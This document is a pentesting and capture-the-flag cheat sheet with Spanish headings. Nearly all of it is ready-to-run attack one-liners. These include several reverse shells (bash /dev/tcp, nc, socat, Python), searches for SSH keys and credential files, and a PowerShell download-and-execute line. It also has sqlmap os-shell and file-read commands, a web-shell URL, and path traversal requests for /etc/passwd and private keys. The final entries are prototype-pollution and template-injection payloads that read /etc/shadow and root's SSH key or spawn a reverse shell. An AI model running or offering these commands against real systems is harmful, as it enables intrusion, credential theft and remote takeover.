Python
#1 python -c 'import pty; pty.spawn("/bin/bash")'#2 python3 -c 'import pty; pty.spawn("/bin/bash")'#3 /usr/bin/script -qc /bin/bash /dev/null
Comandos Linux
#1 rlwrap nc -lvnp 13000#2 bash -c 'bash -i >& /dev/tcp/0.0.0.0/13000 0>&1'#3 bash -i >& /dev/tcp/0.0.0.0/13000 0>&1#4 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 13000 >/tmp/f#5 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:1.1.1.1:13000#6 python3 -c 'import socket,subprocess,os,pty; s=socket.socket(); s.connect(("1.1.1.1",13000)); [os.dup2(s.fileno(),f) for f in (0,1,2)]; pty.spawn("/bin/bash")'
Nmap
#1 sudo nmap -p- -Pn --min-rate 3000 -T4 -oG puertos.txt 1.1.1.1#3 puertos=$(grep -oP '\d+/open' puertos.txt | cut -d/ -f1 | paste -sd,)#2 sudo nmap -Pn -sVC -T3 -p "$puertos" -oN servicios.txt 1.1.1.1
Comandos Linux
#1 ls -la /home /root /etc/ssh /home/*/.ssh/; locate id_rsa; locate id_dsa; find / -name id_rsa 2> /dev/null#2 sed 's/\\n/\n/g' rsa > id_rsa
Comandos Linux
#1 python3 -m http.server 8000#2 php -S 127.0.0.1:8080#3 sudo npm install --global http-server#3 http-server -p 8080#4 wget http://1.1.1.1:8000/linenum.sh#5 curl http://0.0..:8000/linenum.sh -o linenum.sh#6 scp archivoAtransferir user@1.1.1.1:/tmp/nombreArchivoTransferido#7 powershell "IEX(New-Object Net.WebClient).downloadString('http://0.0.0.0.1:8080/winPEAS.ps1')" > winpeas.ps1
Comandos Linux
#1 find / -name "passwd" 2>/dev/null#2 find / -perm -u=s -type f 2>/dev/null#3 find / -name "credential*.txt" 2>/dev/null#4 find / -type f -name *.conf -user root -size +20k -newermt 2020-03-03 -exec ls -al {} \; 2>/dev/null#5 find / -type f -name *.bak 2>/dev/null
SQLMap
sqlmap -r saveitem --file-read=/etc/passwd
SQLMap
#1 sqlmap -r saveitem --os-shell --dbms=mysql#2 nc -e /bin/bash 0.0.0.0 13000
Comandos Linux
#1-https://search.censys.io/#2-https://www.ssllabs.com/ssltest/index.html#3 https://crt.sh/#4 https://domain.glass/
Comandos Linux
#1 https://github.com/danielmiessler/SecLists#2 https://gtfobins.github.io/#3 https://book.hacktricks.wiki/en/404.html#4 https://www.exploit-db.com/#5 https://gchq.github.io/CyberChef/#6 https://github.com/swisskyrepo/PayloadsAllTheThings
exploits
#python3 UliCMS-51486
Comandos Linux
http://1.1.1.1/shell.php?cmd=nc -c sh 0.0.0.0 13000
Nmap
#1 sudo nmap 1.1.1.1 -p 21,22,25 -sA -Pn -n --disable-arp-ping --packet-trace#2 sudo nmap 1.1.1.1 -p 80 -sS -Pn -n --disable-arp-ping --packet-trace -D RND:5#3 sudo nmap 1.1.1.1 -n -Pn -p 445 -O -S 0.0.0.0 -e tun0#4 sudo nmap 1.1.1.1 -p50000 -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53#5 ncat -nv --source-port 53 1.1.1.1 50000#6 sudo nmap -sSU -p 53 --script dns-nsid 1.1.1.1 -Pn -sV
Comandos Linux
#1 ps#2 cat /proc/[PID]/task/[PID]/environ#3 cat/proc/PID/environ#4 strings /proc/*/environ | grep CTF#5 for e in /proc/[0-9]*/environ; do tr '\0' '\n' < "$e" 2>/dev/null; done \ | grep -a 'CTF_[a-f0-9]\{32\}' | sort -u
debugfs
#1 debugfs -R "ls -l /" archivo.dump 2>/dev/null#2 debugfs -R "cat /archivo_listado" archivo.dump 2>/dev/null
Comandos Linux
#1 curl -X POST http://10.0.14.45:8080/cdb/cmd/list \ -H "Content-Type: application/json" \ -d '[ ["template"], "", "", "", 1, "python:def evaluate(a, b):\n import subprocess\n return subprocess.check_output([\"sh\", \"-c\", \"id\"]).decode()" ]'#2curl -X POST http://10.0.14.45:8080/cdb/cmd/list \ -H "Content-Type: application/json" \ -d '[ ["template"], "", "", "", 1, "python:def evaluate(a, b):\n import subprocess\n return subprocess.check_output([\"sh\", \"-c\", \"cat /etc/passwd\"]).decode()" ]'#3curl -X POST http://10.0.14.45:8080/cdb/cmd/list \ -H "Content-Type: application/json" \ -d '[ ["template"], "", "", "", 1, "python:def evaluate(a, b):\n import subprocess\n return subprocess.check_output([\"sh\", \"-c\", \"echo '\''console.log(require(\\\"child_process\\\").execSync(\\\"id\\\").toString())'\'' > /tmp/pwn.js\"]).decode()" ]'#4curl -X POST http://10.0.14.45:8080/cdb/cmd/list \ -H "Content-Type: application/json" \ -d '[ ["template"], "", "", "", 1, "python:def evaluate(a, b):\n import subprocess\n return subprocess.check_output([\"sh\", \"-c\", \"sudo /opt/node/bin/translator __proto__ cmd \\\"$(cat /tmp/pwn.js)\\\"\"]).decode()" ]'#5curl -X POST http://10.0.14.45:8080/cdb/cmd/list \ -H "Content-Type: application/json" \ -d '[ ["template"], "", "", "", 1, "python:def evaluate(a, b):\n import subprocess\n return subprocess.check_output([\"sh\", \"-c\", \"echo '\''console.log(require(\\\"child_process\\\").execSync(\\\"cat /root/.ssh/id_rsa 2>/dev/null || ls /root 2>/dev/null | head -20\\\").toString())'\'' > /tmp/pwn.js && sudo /opt/node/bin/translator __proto__ cmd \\\"$(cat /tmp/pwn.js)\\\"\"]).decode()" ]'
Comandos Linux
#1 sudo /opt/node/bin/state \ '{}' \ '["__proto__", "js"]' \ 'require("child_process").spawn("/bin/bash",{stdio:"inherit"})'
Comandos Linux
#1 curl -X GET \'http://1.1.1.1:6789/api/git_file/..%2F..%2Fetc%2Fpasswd?api_key=zkWlN0PkIKSN0C11CfUHUj84OT5XOJ6tDZ6bDRO2'#" curl -X GET \'http://1.1.1.1:6789/api/git_file/..%2F..%2Fhome%2FETSCTF%2F.ssh%2Fid_rsa?api_key=zkWlN0PkIKSN0C11CfUHUj84OT5XOJ6tDZ6bDRO2'
Comandos Linux
#1 echo '{{it.constructor.constructor("return process.mainModule.require(\"child_process\").execSync(\"ls -la /root/\").toString()")()}}' > /tmp/pwn.sqrlsudo /opt/node/bin/clisquir /tmp/pwn.sqrl '{}'#2 echo '{{it.constructor.constructor("return process.mainModule.require(\"child_process\").execSync(\"cat /etc/shadow\").toString()")()}}' > /tmp/pwn.sqrlsudo /opt/node/bin/clisquir /tmp/pwn.sqrl '{}'
Comandos Linux
#1 curl -s 'http://10.0.14.48:3000/?useWith=1&varName=%7B%20a%3A%20b%20%3D%20global.process.mainModule.require%28%27child_process%27%29.exec%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.10.5.26/13000%200%3E%261%22%27%29%20%7D'